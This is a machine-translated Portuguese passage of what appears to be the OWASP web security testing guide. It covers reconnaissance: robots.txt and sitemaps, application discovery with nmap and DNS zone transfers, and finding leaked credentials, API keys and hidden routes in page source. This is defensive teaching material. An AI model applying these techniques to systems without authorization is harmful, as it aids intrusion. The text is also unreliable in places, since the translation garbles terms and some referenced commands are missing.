do Google, enquanto User-Agent: bingbot refere-se a um crawler da Microsoft. User-Agent: o exemplo acima se aplica a todos os* no
web
spiders/robôs/crawlers.
A diretiva Disallow especifica quais recursos são proibidos por spiders/robôs/crawlers. No exemplo acima, são proibidos:
...
Não permitir: /search
...
Não permitir: /sdch
...
Machine Translated by Google
57
Web spiders/robôs/crawlers podem ignorar intencionalmente as diretivas Disallow especificadas em um arquivo robots.txt , como as de redes sociais
para garantir que os links compartilhados ainda sejam válidos. Portanto, o robots.txt não deve ser considerado um mecanismo para impor restrições
sobre como o conteúdo da Web é acessado, armazenado ou republicado por terceiros.
O arquivo robots.txt é recuperado do diretório raiz da web do servidor da web. Por exemplo, para recuperar o robots.txt de www.google.com usando
wget ou curl :
$ curl -O -Ss http://www.google.com/robots.txt && head -n5 robots.txt User-agent: Disallow: /search
*
Permitir: /pesquisa/sobre
Permitir: /search/static
Permitir: /search/howsearchworks
...
Os proprietários de sites podem usar a função "Analisar robots.txt" do Google para analisar o site como parte de suas Ferramentas do Google para
webmasters. Esta ferramenta pode auxiliar nos testes e o procedimento é o seguinte:
1. Faça login nas Ferramentas do Google para webmasters com uma conta do Google.
META tags
As tags <META> estão localizadas na seção HEAD de cada documento HTML e devem ser consistentes em um site da Web no caso de o ponto inicial
do robô/spider/crawler não começar em um link de documento diferente do webroot, ou seja, um link direto . A diretiva Robots também pode ser
especificada por meio do uso de uma tag META específica.
Se não houver <META NAME="ROBÔS" ... > entrada então o “Protocolo de Exclusão de Robôs” assume como padrão
INDEX,FOLLOW respectivamente. Portanto, as outras duas entradas válidas definidas pelo “Protocolo de Exclusão de Robôs” são prefixadas com NÃO...
ou seja , NOINDEX e NOFOLLOW .
Com base nas diretivas Disallow listadas no arquivo robots.txt no webroot, uma pesquisa de expressão regular para <META NAME="ROBOTS" em cada
página da Web é realizada e o resultado é comparado ao arquivo robots.txt no webroot.
As organizações geralmente incorporam tags META informativas no conteúdo da Web para oferecer suporte a várias tecnologias, como leitores de tela,
visualizações de redes sociais, indexação de mecanismos de pesquisa etc. Essas metainformações podem ser valiosas para os testadores na
identificação de tecnologias usadas e caminhos/funcionalidades adicionais para explorar e teste. As seguintes metainformações foram recuperadas de
www.whitehouse.gov via View Page Source em 05 de maio de 2020:
...
<meta property="og:locale" content="en_US" /> <meta
property="og:type" content="website" /> <meta property="og:title"
content="A Casa Branca" /> <meta property="og:description" content="Nós,
os cidadãos da América, estamos agora unidos em um grande esforço nacional para reconstruir nosso país e restaurar sua promessa
para todos. – Presidente Donald Trump." /> <meta property="og:url" content="https://www.whitehouse.gov/" /> <meta
property="og:site_name" content="A Casa Branca" /> <meta property=" fb:app_id" content="1790466490985150" /> <meta
property="og:image" content="https://www.whitehouse.gov/wp-content/uploads/2017/12/wh.gov share-img_03- 1024x538.png" />
<meta property="og:image:secure_url" content="https://www.whitehouse.gov/wp content/uploads/2017/12/wh.gov-share-
img_03-1024x538.png " /> <meta name="twitter:card" content="summary_large_image" />
Machine Translated by Google
58
<meta name="twitter:description" content="Nós, os cidadãos da América, estamos agora unidos em um grande esforço nacional para
reconstruir nosso país e restaurar sua promessa para todos. – Presidente Donald Trump." /> <meta name="twitter:title" content="A Casa
Branca" />
...
<meta name="apple-mobile-web-app-title" content="A Casa Branca"> <meta name="application-
name" content="A Casa Branca"> <meta name="msapplication-TileColor" conteúdo
="#0c2644"> <meta name="theme-color" content="#f5f5f5">
...
Sitemaps
Um sitemap é um arquivo onde um desenvolvedor ou organização pode fornecer informações sobre as páginas, vídeos e outros arquivos
oferecidos pelo site ou aplicativo e a relação entre eles. Os mecanismos de pesquisa podem usar esse arquivo para explorar seu site de
maneira mais inteligente. Os testadores podem usar arquivos sitemap.xml para aprender mais sobre o site ou aplicativo para explorá-lo mais
completamente.
$ wget --no-verbose https://www.google.com/sitemap.xml && head -n8 sitemap.xml 2020-05-05 12:23:30 URL:
https://www.google.com/sitemap .xml [2049] -> "sitemap.xml" [1]
...
Explorando a partir daí, um testador pode desejar recuperar o mapa do site do Gmail https://www.google.com/gmail/sitemap.xml :
...
Segurança TXT
security.txt é um padrão proposto que permite que os sites definam políticas de segurança e detalhes de contato. Existem vários motivos
pelos quais isso pode ser interessante em cenários de teste, incluindo, entre outros:
Engenharia social.
Machine Translated by Google
59
O arquivo pode estar presente na raiz do servidor web ou no diretório .well-known/ . Ex:
https://example.com/security.txt
https://example.com/.well-known/security.txt
$ wget --no-verbose https://www.linkedin.com/.well-known/security.txt && cat security.txt 2020-05-07 12:56:51 URL: https://
www.linkedin. com/.well-known/security.txt [333/333] -> "security.txt" [1] <div style="page-break-after: always;"></div>
Humanos TXT
O human.txt é uma iniciativa para conhecer as pessoas por trás de um site. Ele assume a forma de um arquivo de texto que contém informações sobre as
diferentes pessoas que contribuíram para a construção do site. Ver humantxt para mais informações. Esse arquivo geralmente (embora nem sempre) contém
informações sobre carreiras ou locais/caminhos de trabalho.
Existem outros RFCs e rascunhos da Internet que sugerem usos padronizados de arquivos dentro do diretório .well-known/ .
Listas das quais podem ser encontradas aqui ou aqui.
Seria bastante simples para um testador revisar o RFC/rascunhos e criar uma lista a ser fornecida a um rastreador ou fuzzer, a fim de verificar a existência
ou o conteúdo de tais arquivos.
Ferramentas
ondulação
wget
Suíte Burp
ZAP
Machine Translated by Google
60
EU IRIA
WSTG-INFO-04
Resumo
Uma etapa fundamental no teste de vulnerabilidades de aplicativos da Web é descobrir quais aplicativos específicos estão hospedados em um
servidor da Web. Muitos aplicativos têm vulnerabilidades conhecidas e estratégias de ataque conhecidas que podem ser exploradas para obter
controle remoto ou explorar dados. Além disso, muitos aplicativos costumam ser mal configurados ou não atualizados, devido à percepção de
que são usados apenas “internamente” e, portanto, não existe nenhuma ameaça. Com a proliferação de servidores web virtuais, o relacionamento
tradicional do tipo 1:1 entre um endereço IP e um servidor web está perdendo muito de seu significado original. Não é incomum ter vários sites
ou aplicativos cujos nomes simbólicos resolvem para o mesmo endereço IP. Este cenário não se limita a ambientes de hospedagem, mas
também se aplica a ambientes corporativos comuns.
Às vezes, os profissionais de segurança recebem um conjunto de endereços IP como alvo para teste. É discutível que esse cenário seja mais
semelhante a um engajamento do tipo teste de penetração, mas, em qualquer caso, espera-se que tal atribuição teste todos os aplicativos da
web acessíveis por meio desse alvo. O problema é que o endereço IP fornecido hospeda um serviço HTTP na porta 80, mas se um testador
deve acessá-lo especificando o endereço IP (que é tudo o que eles sabem), ele reporta “Nenhum servidor web configurado neste endereço” ou
uma mensagem semelhante . Mas esse sistema poderia “esconder” uma série de aplicações web, associadas a nomes simbólicos (DNS) não
relacionados. Obviamente, a extensão da análise é profundamente afetada pelo testador que testa todos os aplicativos ou apenas testa os
aplicativos que conhece.
Às vezes, a especificação de destino é mais rica. O testador pode receber uma lista de endereços IP e seus nomes simbólicos correspondentes.
No entanto, esta lista pode conter informações parciais, ou seja, pode omitir alguns nomes simbólicos e o cliente pode nem estar ciente disso
(isso é mais provável de acontecer em grandes organizações).
Outras questões que afetam o escopo da avaliação são representadas por aplicativos da web publicados em URLs não óbvios (por exemplo,
http://www.example.com/some-strange-URL ), que não são referenciados em outro lugar. Isso pode acontecer por erro (devido a configurações
incorretas) ou intencionalmente (por exemplo, interfaces administrativas não anunciadas).
Objetivos do teste
Enumere os aplicativos dentro do escopo que existem em um servidor web.
Como testar
A descoberta de aplicativos da Web é um processo destinado a identificar aplicativos da Web em uma determinada infraestrutura. O último
geralmente é especificado como um conjunto de endereços IP (talvez um bloco de rede), mas pode consistir em um conjunto de nomes
simbólicos de DNS ou uma mistura dos dois. Essas informações são fornecidas antes da execução de uma avaliação, seja um teste de
penetração de estilo clássico ou uma avaliação focada em aplicativos. Em ambos os casos, a menos que as regras de engajamento especifiquem
o contrário (por exemplo, teste apenas o aplicativo localizado na URL http://www.example.com/ ), a avaliação deve se esforçar para ser a mais
abrangente em escopo, ou seja, deve identificar todos os aplicativos acessíveis por meio do destino fornecido. Os exemplos a seguir examinam
algumas técnicas que podem ser empregadas para atingir esse objetivo.
Algumas das técnicas a seguir se aplicam a servidores da Web voltados para a Internet, ou seja, DNS e serviços de pesquisa baseados
na Web com IP reverso e o uso de mecanismos de pesquisa. Os exemplos usam endereços IP privados (como 192.168.1.100 ), que,
salvo indicação em contrário, representam endereços IP genéricos e são usados apenas para fins de anonimato.
Machine Translated by Google
61
Existem três fatores que influenciam quantos aplicativos estão relacionados a um determinado nome DNS (ou endereço IP):
O ponto de entrada óbvio para um aplicativo da Web é www.example.com , ou seja, com essa notação abreviada, pensamos no aplicativo da
Web originado em http://www.example.com/ (o mesmo se aplica a https). Porém, mesmo sendo essa a situação mais comum, não há nada que
obrigue o aplicativo a iniciar em / .
Por exemplo, o mesmo nome simbólico pode ser associado a três aplicações web como:
http://www.example.com/url1 http://www.example.com/url2 http://www.example.com/url3
Nesse caso, a URL http://www.example.com/ não seria associada a uma página significativa e os três aplicativos ficariam ocultos, a menos que
o testador soubesse explicitamente como alcançá-los, ou seja, o testador conhece url1, url2 ou url3. Normalmente, não há necessidade de
publicar aplicativos da Web dessa maneira, a menos que o proprietário não queira que eles sejam acessíveis de maneira padrão e esteja
preparado para informar aos usuários sobre sua localização exata. Isso não significa que esses aplicativos sejam secretos, apenas que sua
existência e localização não são explicitamente anunciadas.
Embora os aplicativos da Web geralmente residam nas portas 80 (http) e 443 (https), não há nada de mágico nesses números de porta. Na
verdade, os aplicativos da Web podem ser associados a portas TCP arbitrárias e podem ser referenciados especificando Por exemplo,
o número da porta da seguinte forma: http[s]://www.example.com:port/ .
http://www.example.com:20000/ .
3. Hosts Virtuais
O DNS permite que um único endereço IP seja associado a um ou mais nomes simbólicos. Por exemplo, o endereço IP 192.168.1.100 pode
estar associado a nomes DNS www.example.com , helpdesk.example.com , webmail.example.com . Não é necessário que todos os nomes
pertençam ao mesmo domínio DNS. Esta relação 1-para-N pode ser refletida para servir conteúdo diferente usando os chamados hosts virtuais.
As informações que especificam o host virtual ao qual nos referimos estão incorporadas no cabeçalho HTTP 1.1 Host.
Ninguém suspeitaria da existência de outros aplicativos da Web além do óbvio www.example.com , a menos que conheça helpdesk.example.com
e webmail.example.com .
Primeiro, se o servidor da web estiver mal configurado e permitir a navegação no diretório, pode ser possível identificar esses aplicativos.
Scanners de vulnerabilidade podem ajudar a esse respeito.
Em segundo lugar, esses aplicativos podem ser referenciados por outras páginas da Web e há uma chance de terem sido rastreados e indexados por
mecanismos de pesquisa da Web. Se os testadores suspeitarem da existência de tais aplicativos ocultos em www.example.com , eles poderão
pesquisar usando o operador do site e examinar o resultado de uma consulta para o site: www.example.com . Entre os URLs retornados, pode haver
um apontando para um aplicativo não óbvio.
Outra opção é pesquisar URLs que possam ser prováveis candidatos a aplicativos não publicados. Por exemplo, um front-end de webmail pode ser
acessado a partir de URLs como https://www.example.com/webmail ou https://mail.example.com/ . O mesmo vale para interfaces administrativas, que
administrativa do Tomcat) e ainda não referenciadas
https://webmail.example.com/
em nenhum lugar. , podem ser publicadas em URLs ocultos (por exemplo, uma interface
Portanto, fazer um pouco de pesquisa no estilo de dicionário (ou “adivinhação inteligente”) pode render alguns resultados. Scanners de vulnerabilidade
podem ajudar a esse respeito.
É fácil verificar a existência de aplicativos da Web em portas não padrão. Um scanner de porta como o nmap é capaz de realizar reconhecimento
de serviço por meio da opção -sV e identificará serviços http[s] em portas arbitrárias. O que é necessário é uma verificação completa de todo o
espaço de endereço da porta TCP de 64k.
Por exemplo, o comando a seguir procurará, com uma verificação de conexão TCP, todas as portas abertas no IP 192.168.1.100 e tentará
determinar quais serviços estão vinculados a elas (apenas as opções essenciais são mostradas - o nmap apresenta um amplo conjunto de
opções, cuja discussão está fora do escopo):
Basta examinar a saída e procurar http ou a indicação de serviços SSL-wrapped (que devem ser sondados para confirmar se são https). Por
exemplo, a saída do comando anterior pode ser semelhante a:
Parece que há um servidor HTTPS na porta 443 (mas isso precisa ser confirmado, por exemplo, visitando https://192.168.1.100 com um
navegador).
O serviço na porta 1241 não é HTTPS, mas é o daemon Nessus encapsulado em SSL.
A porta 3690 apresenta um serviço não especificado (o nmap devolve sua impressão digital - aqui omitida para maior clareza - juntamente
com instruções para enviá-la para incorporação no banco de dados de impressões digitais do nmap, desde que você saiba qual serviço ela
representa).
Outro serviço não especificado na porta 8000; isso pode ser HTTP, já que não é incomum encontrar servidores HTTP nesta porta. Vamos
examinar esta questão:
HTTP/1.0 200 OK
pragma: sem cache
Tipo de conteúdo: text/html
Servidor: MX4J-HTTPD/1.0
expira: agora Cache-Control: sem
cache
<html>
...
Isso confirma que, na verdade, é um servidor HTTP. Como alternativa, os testadores podem ter visitado a URL com um navegador da web; ou
usou os comandos GET ou HEAD Perl, que imitam as interações HTTP, como a fornecida acima (no entanto, as solicitações HEAD podem não
ser atendidas por todos os servidores).
Machine Translated by Google
63
A mesma tarefa pode ser executada por scanners de vulnerabilidade, mas primeiro verifique se o scanner escolhido é capaz de identificar serviços HTTP[S]
executados em portas não padrão. Por exemplo, o Nessus é capaz de identificá-los em portas arbitrárias (desde que seja instruído a verificar todas as
portas) e fornecerá, com relação ao nmap, uma série de testes em vulnerabilidades conhecidas do servidor web, bem como na configuração SSL de
serviços HTTPS. Conforme sugerido anteriormente, o Nessus também é capaz de detectar aplicativos populares ou interfaces da Web que, de outra forma,
poderiam passar despercebidos (por exemplo, uma interface administrativa do Tomcat).
Essa técnica tem uso limitado hoje em dia, devido ao fato de que as transferências de zona não são amplamente honradas pelos servidores DNS.
No entanto, pode valer a pena tentar. Em primeiro lugar, os testadores devem determinar os servidores de nomes que servem xyzt . Se um nome simbólico
for conhecido por xyzt (que seja www.example.com ), seus servidores de nomes podem ser determinados por meio de ferramentas como
como nslookup , hospedar , ou dig , solicitando registros DNS NS.
Se nenhum nome simbólico for conhecido para xyzt , mas a definição de destino contiver pelo menos um nome simbólico, os testadores podem tentar
aplicar o mesmo processo e consultar o servidor de nomes desse nome (esperando que xyzt também seja atendido por esse servidor de nomes) . Por
exemplo, se o destino consistir no endereço IP xyzt e no nome mail.example.com , determine os servidores de nomes para o domínio example.com .
O exemplo a seguir mostra como identificar os servidores de nomes para www.owasp.org usando o comando host :
Uma transferência de zona agora pode ser solicitada aos servidores de nomes para o domínio exemplo.com . Se o testador tiver sorte, ele receberá uma
lista das entradas DNS desse domínio. Isso incluirá o óbvio www.example.com e o não tão óbvio helpdesk.example.com e webmail.example.com (e
possivelmente outros). Verifique todos os nomes retornados pela transferência de zona e considere todos aqueles relacionados ao destino que está
sendo avaliado.
Tentando solicitar uma transferência de zona para owasp.org de um de seus servidores de nomes:
Esse processo é semelhante ao anterior, mas depende de registros DNS inversos (PTR). Em vez de solicitar uma transferência de zona, tente definir o
tipo de registro como PTR e faça uma consulta no endereço IP fornecido. Se os testadores tiverem sorte, eles podem receber de volta uma entrada de
nome DNS. Essa técnica depende da existência de mapas de nomes de IP para simbólicos, o que não é garantido.
Esse tipo de pesquisa é semelhante à transferência de zona DNS, mas depende de serviços baseados na Web que permitem pesquisas baseadas em nome
no DNS. Um desses serviços é o Netcraft Search DNS serviço. O testador pode consultar uma lista de nomes pertencentes ao domínio de sua escolha, como
exemplo.com . Em seguida, eles verificarão se os nomes obtidos são pertinentes ao alvo que estão examinando.
Serviços de IP reverso
Os serviços de IP reverso são semelhantes às consultas inversas de DNS, com a diferença de que os testadores consultam um aplicativo baseado na Web em
vez de um servidor de nomes. Há uma série de tais serviços disponíveis. Como eles tendem a retornar resultados parciais (e muitas vezes diferentes), é melhor
usar vários serviços para obter uma análise mais abrangente.
O exemplo a seguir mostra o resultado de uma consulta a um dos serviços de IP reverso acima para o endereço 216.48.3.18 de www.owasp.org . , o IP
Três nomes simbólicos não óbvios adicionais mapeados para o mesmo endereço foram revelados.
Pesquisando no Google
Após a coleta de informações das técnicas anteriores, os testadores podem confiar nos mecanismos de pesquisa para possivelmente refinar e incrementar sua
análise. Isso pode fornecer evidências de nomes simbólicos adicionais pertencentes ao destino ou aplicativos acessíveis por meio de URLs não óbvios.
Por exemplo, considerando o exemplo anterior sobre www.owasp.org , o testador poderia consultar o Google e outros mecanismos de busca em busca de
informações (portanto, nomes DNS) relacionadas aos domínios recém-descobertos de webgoat.org ,
webscarab.com , e webscarab.net .
Ferramentas
Nmap
Nikto
Machine Translated by Google
66
EU IRIA
WSTG-INFO-05
Resumo
É muito comum, e até recomendado, que os programadores incluam comentários e metadados detalhados em seu código-fonte. No entanto,
comentários e metadados incluídos no código HTML podem revelar informações internas que não deveriam estar disponíveis para invasores em
potencial. Comentários e revisão de metadados devem ser feitos para determinar se alguma informação está vazando.
Para aplicativos da Web modernos, o uso de JavaScript do lado do cliente para o front-end está se tornando mais popular. Tecnologias populares
de construção de front-end usam JavaScript do lado do cliente, como ReactJS, AngularJS ou Vue. Semelhante aos comentários e metadados no
código HTML, muitos programadores também codificam informações confidenciais em variáveis JavaScript no front-end. As informações
confidenciais podem incluir (mas não estão limitadas a): Chaves de API privadas (por exemplo , uma chave de API do Google Map irrestrita),
endereços IP internos, rotas confidenciais (por exemplo , rota para páginas ou funcionalidades de administração ocultas) ou até mesmo credenciais.
Essas informações confidenciais podem vazar desse código JavaScript front-end. Uma revisão deve ser feita para determinar se alguma
informação sensível vazou que poderia ser usada por invasores para abuso.
Para grandes aplicativos da Web, os problemas de desempenho são uma grande preocupação para os programadores. Os programadores
usaram métodos diferentes para otimizar o desempenho do front-end, incluindo Syntactically Awesome Style Sheets (SASS), Sassy CSS (SCSS),
webpack, etc. e por causa disso, os programadores geralmente implantam arquivos de mapa de origem para fins de depuração. Um “mapa de
origem” é um arquivo especial que conecta uma versão minificada/aumentada de um recurso (CSS ou JavaScript) à versão original criada. Os
programadores ainda estão debatendo se devem ou não trazer os arquivos de mapa de origem para o ambiente de produção.
No entanto, é inegável que os arquivos de mapa de origem ou arquivos para depuração, se liberados para o ambiente de produção, tornarão
seu código-fonte mais legível por humanos. Pode tornar mais fácil para os invasores encontrar vulnerabilidades no front-end ou
coletar informações confidenciais dele. A revisão do código JavaScript deve ser feita para determinar se algum arquivo de depuração foi exposto
no front-end. Dependendo do contexto e sensibilidade do projeto, um especialista em segurança deve decidir se os arquivos devem existir no
ambiente de produção ou não.
Objetivos do teste
Revise os comentários e metadados da página da Web para encontrar qualquer vazamento de informações.
Reúna arquivos JavaScript e revise o código JS para entender melhor o aplicativo e encontrar qualquer vazamento de informações.
Como testar
Comentários da página da web de revisão e comentários
HTML de metadados são frequentemente usados pelos desenvolvedores para incluir informações de depuração sobre o aplicativo. Às vezes,
eles esquecem os comentários e os deixam em ambientes de produção. Os testadores devem procurar comentários HTML que comecem com
<!-- .
Verifique o código-fonte HTML para comentários contendo informações confidenciais que podem ajudar o invasor a obter mais informações sobre
o aplicativo. Pode ser código SQL, nomes de usuários e senhas, endereços IP internos ou informações de depuração.
...
<div class="tabela2">
Machine Translated by Google
67
<!-- Consulta: SELECT id, nome FROM app.users WHERE active='1' -->
</div>
...
<!-- Use a senha do administrador do banco de dados para testar: f@keP@a$$w0rD -->
Verifique as informações da versão HTML para obter números de versão válidos e URLs de definição de tipo de dados (DTD)
Algumas tags META não fornecem vetores de ataque ativos, mas permitem que um invasor crie o perfil de um aplicativo:
Um uso comum para a tag META é especificar palavras-chave que um mecanismo de pesquisa pode usar para melhorar a qualidade da pesquisa
resultados.
Embora a maioria dos servidores da Web gerencie a indexação do mecanismo de pesquisa por meio do arquivo robots.txt , ela também pode ser
gerenciada por tags META . A tag abaixo aconselhará os robôs a não indexar e não seguir links na página HTML que contém a tag.
A Plataforma de Seleção de Conteúdo da Internet (PICS) e Protocolo para Recursos de Descrição da Web (POWDER) fornecem infraestrutura para
associar metadados com conteúdo da Internet.
geralmente codificam informações confidenciais com variáveis JavaScript no front-end. Os testadores devem verificar o código-fonte HTML e procurar o
código JavaScript entre as tags <script> e </script> . Os testadores também devem identificar arquivos JavaScript externos para revisar o código (arquivos
JavaScript têm a extensão de arquivo .js e o nome do arquivo JavaScript geralmente colocado no atributo src (source) de uma tag <script> ).
Machine Translated by Google
68
Verifique o código JavaScript em busca de vazamentos de informações confidenciais que possam ser usados por invasores para abusar ou manipular
ainda mais o sistema. Procure valores como: chaves de API, endereços IP internos, rotas confidenciais ou credenciais. Por exemplo:
const myS3Credentials =
{ accessKeyId: config('AWSS3AccessKeyID'),
secretAcccessKey: config('AWSS3SecretAccessKey'), };
Quando uma chave de API é encontrada, os testadores podem verificar se as restrições de chave de API são definidas por serviço ou por IP, referenciador
HTTP, aplicativo, SDK etc.
Por exemplo, se os testadores encontrarem uma chave de API do Google Map, eles podem verificar se essa chave de API é restrita por IP ou restrita
apenas pelas APIs do Google Map. Se a chave de API do Google for restrita apenas pelas APIs de mapa do Google, os invasores ainda poderão usar
essa chave de API para consultar APIs de mapa do Google irrestritas e o proprietário do aplicativo deverá pagar por isso.
<script type="aplicativo/json">
...
{"GOOGLE_MAP_API_KEY":"AIzaSyDUEBnKgwiqMNpDplT6ozE4Z0XxuAbqDi4",
"RECAPTCHA_KEY":"6LcPscEUiAAAAHOwwM3fGvIx9rsPYUq62uRhGjJ0"}
...
</script>
Em alguns casos, os testadores podem encontrar rotas confidenciais do código JavaScript, como links para páginas administrativas internas ou ocultas.
<script type="aplicativo/json">
...
"runtimeConfig":{"BASE_URL_VOUCHER_API":"https://staging-voucher.victim.net/api",
"BASE_BACKOFFICE_API":"https://10.10.10.2/api", "ADMIN_PAGE":"/hidden_administrator"}
...
</script>
Os arquivos de mapa de origem geralmente são carregados quando o DevTools é aberto. Os testadores também podem encontrar arquivos de mapa de
origem adicionando a extensão “.map” após a extensão de cada arquivo JavaScript externo. Por exemplo, se um testador vir um arquivo /static/js/
main.chunk.js , ele poderá verificar seu arquivo de mapa de origem visitando
/static/js/main.chunk.js.map .
Verifique os arquivos de mapa de origem para obter informações confidenciais que possam ajudar o invasor a obter mais informações sobre o aplicativo.
Por exemplo:
{
"version": 3, "file":
"static/js/main.chunk.js", "sources": [ "/home/
sysadmin/cashsystem/src/actions/index.js", "/
home/sysadmin/ cashsystem/src/actions/reportAction.js",
Machine Translated by Google
69
"/home/sysadmin/cashsystem/src/actions/cashoutAction.js", "/home/sysadmin/
cashsystem/src/actions/userAction.js", "..."
],
"..."
}
Quando os sites carregam arquivos de mapa de origem, o código-fonte front-end se torna legível e mais fácil de depurar.
Ferramentas
Wget
Função "visualizar fonte" do navegador
globos oculares
Ondulação
Suíte Burp
Waybackurls
Referências
KeyHacks
Artigos técnicos
HTML versão 4.01
XHTML
HTML versão 5
Machine Translated by Google
70
EU IRIA
WSTG-INFO-06
Resumo
Enumerar o aplicativo e sua superfície de ataque é um precursor importante antes que qualquer teste completo possa ser realizado, pois permite
que o testador identifique prováveis áreas de fraqueza. Esta seção visa ajudar a identificar e mapear as áreas dentro do aplicativo que devem
ser investigadas após a conclusão da enumeração e do mapeamento.
Objetivos do teste
Identifique possíveis pontos de entrada e injeção por meio de análise de solicitação e resposta.
Como testar
Antes do início de qualquer teste, o testador deve sempre entender bem o aplicativo e como o usuário e o navegador se comunicam com ele. À
medida que o testador percorre o aplicativo, ele deve prestar atenção a todas as solicitações HTTP, bem como a todos os parâmetros e campos
de formulário passados para o aplicativo. Eles devem prestar atenção especial quando as solicitações GET são usadas e quando as solicitações
POST são usadas para passar parâmetros para o aplicativo. Além disso, eles também precisam prestar atenção quando outros métodos para
serviços RESTful são usados.
Observe que, para ver os parâmetros enviados no corpo das solicitações, como uma solicitação POST, o testador pode querer usar uma
ferramenta como um proxy de interceptação (consulte ferramentas). Dentro da solicitação POST, o testador também deve fazer uma observação
especial sobre quaisquer campos de formulário ocultos que estão sendo passados para o aplicativo, pois geralmente contêm informações
confidenciais, como informações de estado, quantidade de itens, preço dos itens, que o desenvolvedor nunca destinado a qualquer um ver ou
mudar.
Na experiência do autor, tem sido muito útil usar um proxy de interceptação e uma planilha para esta etapa do teste. O proxy acompanhará cada
solicitação e resposta entre o testador e o aplicativo enquanto eles o exploram. Além disso, neste ponto, os testadores geralmente interceptam
todas as solicitações e respostas para que possam ver exatamente todos os cabeçalhos, parâmetros etc. que estão sendo passados para o
aplicativo e o que está sendo retornado. Às vezes, isso pode ser bastante tedioso, especialmente em grandes sites interativos (pense em um
aplicativo bancário). No entanto, a experiência mostrará o que procurar e esta fase pode ser significativamente reduzida.
À medida que o testador percorre o aplicativo, ele deve anotar quaisquer parâmetros interessantes na URL, cabeçalhos personalizados ou corpo
das solicitações/respostas e salvá-los em uma planilha. A planilha deve incluir a página solicitada (talvez seja bom adicionar também o número
da solicitação do proxy, para referência futura), os parâmetros de interesse, o tipo de solicitação (GET, POST, etc), se o acesso é autenticado/
não autenticado, se TLS for usado, se fizer parte de um processo de várias etapas, se WebSockers forem usados e quaisquer outras notas
relevantes. Depois de mapear todas as áreas do aplicativo, eles podem passar pelo aplicativo e testar cada uma das áreas que identificaram e
fazer anotações sobre o que funcionou e o que não funcionou. O restante deste guia identificará como testar cada uma dessas áreas de
interesse, mas esta seção deve ser realizada antes que qualquer teste real possa começar.
Abaixo estão alguns pontos de interesse para todas as solicitações e respostas. Na seção de solicitações, concentre-se nos métodos GET e
POST, pois eles aparecem na maioria das solicitações. Observe que outros métodos, como PUT e DELETE, podem ser usados. Frequentemente,
essas solicitações mais raras, se permitidas, podem expor vulnerabilidades. Há uma seção especial neste guia dedicada a testar esses métodos
HTTP.
solicitações de
Identifique todos os parâmetros usados em uma solicitação POST (esses estão no corpo da solicitação).
Dentro da solicitação POST, preste atenção especial a quaisquer parâmetros ocultos. Quando um POST é enviado, todos os campos do formulário
(incluindo parâmetros ocultos) serão enviados no corpo da mensagem HTTP para o aplicativo. Normalmente, eles não são vistos, a menos que um proxy
ou exibição do código-fonte HTML seja usado. Além disso, a próxima página exibida, seus dados e o nível de acesso podem ser diferentes dependendo do
Identifique todos os parâmetros usados em uma solicitação GET (ou seja, URL), em particular a string de consulta (geralmente após uma marca ?).
Identifique todos os parâmetros da string de consulta. Eles geralmente estão em um formato de par, como foo=bar . Observe também que muitos parâmetros
, \~ ,ou: codificação.
podem estar em uma string de consulta, como separados por um & ou qualquer outro caractere especial ,
Uma observação especial quando se trata de identificar vários parâmetros em uma string ou em uma solicitação POST é que alguns ou todos os parâmetros
serão necessários para executar os ataques. O testador precisa identificar todos os parâmetros (mesmo que sejam codificados ou criptografados) e
identificar quais são processados pelo aplicativo. As seções posteriores do guia identificarão como testar esses parâmetros. Neste ponto, apenas certifique-
Preste atenção também a quaisquer cabeçalhos de tipo personalizados ou adicionais que normalmente não são vistos (como debug: false ).
Respostas
Identifique onde novos cookies são definidos ( cabeçalho Set-Cookie ), modificados ou adicionados.
Identifique onde há redirecionamentos (3xx código de status HTTP), 400 códigos de status, em particular 403 Forbidden e 500 erros internos do servidor
Observe também onde quaisquer cabeçalhos interessantes são usados. Por exemplo, Servidor: BIG-IP indica que o site tem balanceamento de carga.
Portanto, se um site tiver balanceamento de carga e um servidor estiver configurado incorretamente, o testador pode ter que fazer várias solicitações para
Exemplo 1
Este exemplo mostra uma solicitação GET que compraria um item de um aplicativo de compras online.
Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy
Aqui, o testador anotaria todos os parâmetros da solicitação, como CUSTOMERID, ITEM, PRICE, IP e o Cookie (que podem ser apenas parâmetros
Exemplo 2
Este exemplo mostra uma solicitação POST que faria login em um aplicativo.
Cookie: SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMgMT
IzNA==;CustomCookie=00my00trusted00ip00is00x.xxx00
user=admin&pass=pass123&debug=true&fromtrustIP=true
Neste exemplo, o testador observaria todos os parâmetros como antes, porém a maioria dos parâmetros é passada no corpo da solicitação e não na URL.
Além disso, observe que há um cabeçalho HTTP personalizado ( CustomCookie ) sendo usado.
O teste de pontos de entrada de aplicativos por meio de uma metodologia de caixa cinza consistiria em tudo já identificado acima com uma adição. Nos
casos em que existem fontes externas das quais o aplicativo recebe dados e os processa (como traps SNMP, mensagens syslog, SMTP ou mensagens
SOAP de outros servidores), uma reunião com os desenvolvedores do aplicativo pode identificar quaisquer funções que aceitariam ou esperariam que o
usuário entrada e como eles são formatados. Por exemplo, o desenvolvedor pode ajudar a entender como formular uma solicitação SOAP correta que o
aplicativo aceitaria e onde o serviço da Web reside (se o serviço da Web ou qualquer outra função ainda não tiver sido identificada durante o teste de caixa
preta).
A ferramenta Attack Surface Detector (ASD) investiga o código-fonte e revela os terminais de um aplicativo da Web, os parâmetros que esses terminais
aceitam e o tipo de dados desses parâmetros. Isso inclui os endpoints não vinculados que um spider não conseguirá encontrar ou parâmetros opcionais
totalmente não utilizados no código do lado do cliente. Ele também tem a capacidade de calcular as mudanças na superfície de ataque entre duas versões
de um aplicativo.
O Attack Surface Detector está disponível como um plug-in para ZAP e Burp Suite, e uma ferramenta de linha de comando também está disponível. A
ferramenta de linha de comando exporta a superfície de ataque como uma saída JSON, que pode ser usada pelo plug-in ZAP e Burp Suite. Isso é útil para
casos em que o código-fonte não é fornecido diretamente ao testador de penetração. Por exemplo, o testador de penetração pode obter o arquivo de saída
json de um cliente que não deseja fornecer o próprio código-fonte.
Como usar
Você pode executar o seguinte comando para o ASD identificar pontos de extremidade do código-fonte do aplicativo da Web de destino.
[9] GET: /users/{id} (0 variantes): PARAMETERS={}; FILE=/app/controllers/api/v1/users_controller.rb (linhas '13'-'15') ... recortado ...
Você também pode gerar um arquivo de saída JSON usando o sinalizador -json , que pode ser usado pelo plug-in para ZAP e Burp Suite. Consulte os links
